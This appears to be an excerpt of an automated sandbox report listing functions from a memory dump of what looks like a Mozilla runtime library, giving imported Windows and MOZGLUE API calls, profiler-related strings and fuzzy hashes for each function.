AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40E584
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C40E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C40E777
MOZ_PROFILER_STARTUP, xrefs: 6C40E5A1, 6C40E5CC, 6C40E5FF, 6C40E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C40E722, 6C40E750, 6C40E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C40E826, 6C40E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C40E655

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1e2e205e17a9d69647756b540070482dbb501a80678494f62181d3095770a2ae
Instruction ID: 34710b1b4362e27c325ba4e93c0e66143554b3bc0d59d3c2fddb602525ce3eb2
Opcode Fuzzy Hash: 1e2e205e17a9d69647756b540070482dbb501a80678494f62181d3095770a2ae
Instruction Fuzzy Hash: 9C11E132701254DFEB00FF14C888E5ABBB4FB8932CF648629E88147740DB70A804CBD1

Function 6C410C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C410CD5

Part of subcall function 6C3FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C3FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C410D40
free.MOZGLUE ref: 6C410DCB

Part of subcall function 6C3E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
Part of subcall function 6C3E5E90: memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
Part of subcall function 6C3E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2

free.MOZGLUE ref: 6C410DDD
free.MOZGLUE ref: 6C410DF2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 445c4d049eef239e9ed394d0683e806fb1f4692e695e0215018d5e0a9e0b0b22
Instruction ID: 34b0087c06bfc0606202fd66594418a74fa91488bdd10790e54018eb892b6fb2
Opcode Fuzzy Hash: 445c4d049eef239e9ed394d0683e806fb1f4692e695e0215018d5e0a9e0b0b22
Instruction Fuzzy Hash: 0941187191D7908BD320DF29C080BAAFBE5BFC9754F118A2EE8D887B50D7709455CB82

Function 6C400800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E7DC), ref: 6C400838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C40084C
EnterCriticalSection.KERNEL32(?), ref: 6C4008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C4008BD
LeaveCriticalSection.KERNEL32(6C44E7DC), ref: 6C4008D5

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: ea369ea041ab6ca873ccc7866d4e1241d1ed8982bc48b228101c571ea8190aae
Instruction ID: 9b19d63775f2689a859194c36ba34685e4d629e211fc745cfe74667d2ce58dc9
Opcode Fuzzy Hash: ea369ea041ab6ca873ccc7866d4e1241d1ed8982bc48b228101c571ea8190aae
Instruction Fuzzy Hash: 2221DE32B412498BEB04EF65D884FAEB7B9FF85709F604539D909A7B40DF31A8048BD0

Function 6C41CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41CDA4

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

Part of subcall function 6C41D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C41CDBA,00100000,?,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41D158
Part of subcall function 6C41D130: InitializeConditionVariable.KERNEL32(00000098,?,6C41CDBA,00100000,?,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41CDC4

Part of subcall function 6C417480: ReleaseSRWLockExclusive.KERNEL32(?,6C4215FC,?,?,?,?,6C4215FC,?), ref: 6C4174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41CECC

Part of subcall function 6C3DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C3DCAA2

Part of subcall function 6C40CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C41CEEA,?,?,?,?,00000000,?,6C40DA31,00100000,?,?,00000000), ref: 6C40CB57
Part of subcall function 6C40CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C40CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C41CEEA,?,?), ref: 6C40CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C40DA31,00100000,?,?,00000000,?), ref: 6C41D058

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: d480bf31b4dbc0a5788d38248e0f2484189c9bc77e4b899f9afa7dd7a96af0a9
Instruction ID: cefafc3c4268a3cad71e5c7b5df665ca70185906666a9cc1b258379bf2dfdc93
Opcode Fuzzy Hash: d480bf31b4dbc0a5788d38248e0f2484189c9bc77e4b899f9afa7dd7a96af0a9
Instruction Fuzzy Hash: DED16E71A04B469FD709CF28C480FA9B7F1BF99308F01866DD89987B51EB31A965CBC1

Function 6C3D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C3D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C3D18EE
free.MOZGLUE(?), ref: 6C3D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3D194C

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: ff2daa80fae845aec66c44573ecb56f739f82388c98916a99f022dbe5e30779c
Instruction ID: 89ab1307b1f0563fe47e8e6008bf2ce733d7d5add5f7a1a78be10cce4248b8d0
Opcode Fuzzy Hash: ff2daa80fae845aec66c44573ecb56f739f82388c98916a99f022dbe5e30779c
Instruction Fuzzy Hash: 0F81CF71A102159FDB08CF68D8849AEBBB6FF89324F05462CE855AB754D730E844CFA2

Function 6C3E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C3E5D40
EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3E5D67
__aulldiv.LIBCMT ref: 6C3E5DB4
LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3E5DED

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c217172be0a6933bd8d39f2be0d80b88375052ec398c8b9138dc9d1433c51901
Instruction ID: 6478c30529d8125ad3a9168ec75dbff619bc25ae9e61ed9c5707d5ea576552ce
Opcode Fuzzy Hash: c217172be0a6933bd8d39f2be0d80b88375052ec398c8b9138dc9d1433c51901
Instruction Fuzzy Hash: A6517271E011298FDF08EF68C854AAFBBB1FB89308F29861AC855B7750C7316946CF90

Function 6C3CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C3CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C3CCF4E

Strings

0, xrefs: 6C3CCF30

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: ea4937123a953b8a8b95ffcbc3a87fb5eaa71f9f9001317b68dd9de7dd4ecee0
Instruction ID: f5af0970cd3b446e54af20f799cefaa7dd46af429938cdc0e5f906ed07b4b534
Opcode Fuzzy Hash: ea4937123a953b8a8b95ffcbc3a87fb5eaa71f9f9001317b68dd9de7dd4ecee0
Instruction Fuzzy Hash: 68510375A0022A8FCB00CF18D490A9ABBB5EF99304F19869DD8595F391D731ED06CBE1

Function 6C4277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C427829

Part of subcall function 6C3FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C3C31A7), ref: 6C3FCC45
Part of subcall function 6C3FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C3C31A7), ref: 6C3FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C42789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C4278CF

Part of subcall function 6C3C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C3C4E5A
Part of subcall function 6C3C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C3C4E97

Part of subcall function 6C3C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C403EBD,6C403EBD,00000000), ref: 6C3C42A9

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 13e431c2d7c40561eddffc55f060c4e641a846510d62f01071d34ecbd536e50b
Instruction ID: 400f97e6735398a15f9dca532c58e398fa1f59f3cbc7bea48a93b6d399db9b25
Opcode Fuzzy Hash: 13e431c2d7c40561eddffc55f060c4e641a846510d62f01071d34ecbd536e50b
Instruction Fuzzy Hash: 454180719047469BD300EF29D48096AFBF4FFCA258F204A2EE4E987640DB70D559CB92

Function 6C406470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C4082BC,?,?), ref: 6C40649B

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4064A9

Part of subcall function 6C3FFA80: GetCurrentThreadId.KERNEL32 ref: 6C3FFA8D
Part of subcall function 6C3FFA80: AcquireSRWLockExclusive.KERNEL32(6C44F448), ref: 6C3FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C40653F
free.MOZGLUE(?), ref: 6C40655A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: ac0185298a16c3998de47fabd90425fca39bf312b76d9dd0ec067de671ec6a13
Instruction ID: 86f6a72b823ddb91c4252d30912f4e1f5de36cfe67cda007ce75675ad3ac9fc4
Opcode Fuzzy Hash: ac0185298a16c3998de47fabd90425fca39bf312b76d9dd0ec067de671ec6a13
Instruction Fuzzy Hash: BE315EB5A043159FD700DF24D884A9AB7E4FF89318F50442EE89A97741EB30E919CB92

Function 6C3FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C41D019,?,?,?,?,?,00000000,?,6C40DA31,00100000,?), ref: 6C3FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C41D019,?,?,?,?,?,00000000,?,6C40DA31,00100000,?,?), ref: 6C3FFFF5
free.MOZGLUE(?,?,?,?,?,6C41D019,?,?,?,?,?,00000000,?,6C40DA31,00100000,?), ref: 6C40001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C41D019,?,?,?,?,?,00000000,?,6C40DA31,00100000,?,?), ref: 6C40002A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2999ff06f937a42c25f1bf9cc5e97a7c6cb2438f57e37009307131f11747011a
Instruction ID: ef8bd319da39f2a01ca8231467e59ceb275aaa074611f54ee512d7b304a74e8f
Opcode Fuzzy Hash: 2999ff06f937a42c25f1bf9cc5e97a7c6cb2438f57e37009307131f11747011a
Instruction Fuzzy Hash: 1A21C4B2B002155BD708DF7898948AEB7FAEBC93247250738E825D7780EA70AD0286D1

Function 6C3DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3DB4F5
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3DB502
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3DB542
free.MOZGLUE(?), ref: 6C3DB578

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e487650a23593f3b33377ea2a122d431e5951be50223fad218165fff088521bc
Instruction ID: 06c7003c506a6e358877a8064b3d793aac0ecfc1ec2e77dabf7728635e576447
Opcode Fuzzy Hash: e487650a23593f3b33377ea2a122d431e5951be50223fad218165fff088521bc
Instruction Fuzzy Hash: 6511C032A14B45C7E711EF29C800BA5B3B6FFE631CF21970AD84956A01EBB1B1C48B90

Function 6C403DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C3CF20E,?), ref: 6C403DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C3CF20E,00000000,?), ref: 6C403DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C403E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C403E0E

Part of subcall function 6C3FCC00: GetCurrentProcess.KERNEL32(?,?,6C3C31A7), ref: 6C3FCC0D
Part of subcall function 6C3FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C3C31A7), ref: 6C3FCC16

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 531d85dab8133f3d96145d0a7628c19ddc12660c0bf7ca4c07475231fe758ca3
Instruction ID: bc019f1f8d78c215cdf23d0939e713eed58cd5345da2e02e5522520c27d5fc78
Opcode Fuzzy Hash: 531d85dab8133f3d96145d0a7628c19ddc12660c0bf7ca4c07475231fe758ca3
Instruction Fuzzy Hash: 9EF05E71A402086BE700FB54EC41EAB372CEB46628F144024FD0857701D635B91986F7

Function 6C412050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C41205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C41201B,?,?,?,?,?,?,?,6C411F8F,?,?), ref: 6C412064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41208E
free.MOZGLUE(?,?,?,00000000,?,6C41201B,?,?,?,?,?,?,?,6C411F8F,?,?), ref: 6C4120A3

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 55b71731998673f09d80d40f3fb3b276a875a4961015bd1bc9213d48b5891ca5
Instruction ID: dd93bb15b1344011e95b95844cbf998c075b3ff3c9db2ce5bec771bc89b91c48
Opcode Fuzzy Hash: 55b71731998673f09d80d40f3fb3b276a875a4961015bd1bc9213d48b5891ca5
Instruction Fuzzy Hash: 0CF0BB71104A109FD721EF16D888F6B7BF9EFC6324F20011AE54687B10DB71A805CB95

Function 6C4185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C4185D3

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C418725

Strings

map/set<T> too long, xrefs: 6C418720

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d7c39e1f76a5788301982bd929a72521103f660aed0e6afa40b92491cf96c209
Instruction ID: 0d160a9c8a1a9576b0dbd7f13de43f1b230e8f373b0149d5d749ef557cbdf1dc
Opcode Fuzzy Hash: d7c39e1f76a5788301982bd929a72521103f660aed0e6afa40b92491cf96c209
Instruction Fuzzy Hash: FB515674A086418FD701CF18C584F69BBF1BF4A318F1AC29AD8995BB52C335E846CF92

Function 6C3CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C3CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C3CBE8F

Strings

0, xrefs: 6C3CBE5B

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 582973eb1db6e2dcc3ada3033070c67f660283edc59c6fd9195c8c7389a36b24
Instruction ID: 5776225432c00f2eaa0f4f50419bfafb2e039beeb3ac3364b6dba8cc9654467d
Opcode Fuzzy Hash: 582973eb1db6e2dcc3ada3033070c67f660283edc59c6fd9195c8c7389a36b24
Instruction Fuzzy Hash: 63417D71A09745CFC701DF38D481A9FB7E4AF8A38CF004A1DE995AB611D73199498B93

Function 6C403CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C403D19
mozalloc_abort.MOZGLUE(?), ref: 6C403D6C

Strings

d, xrefs: 6C403D58

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

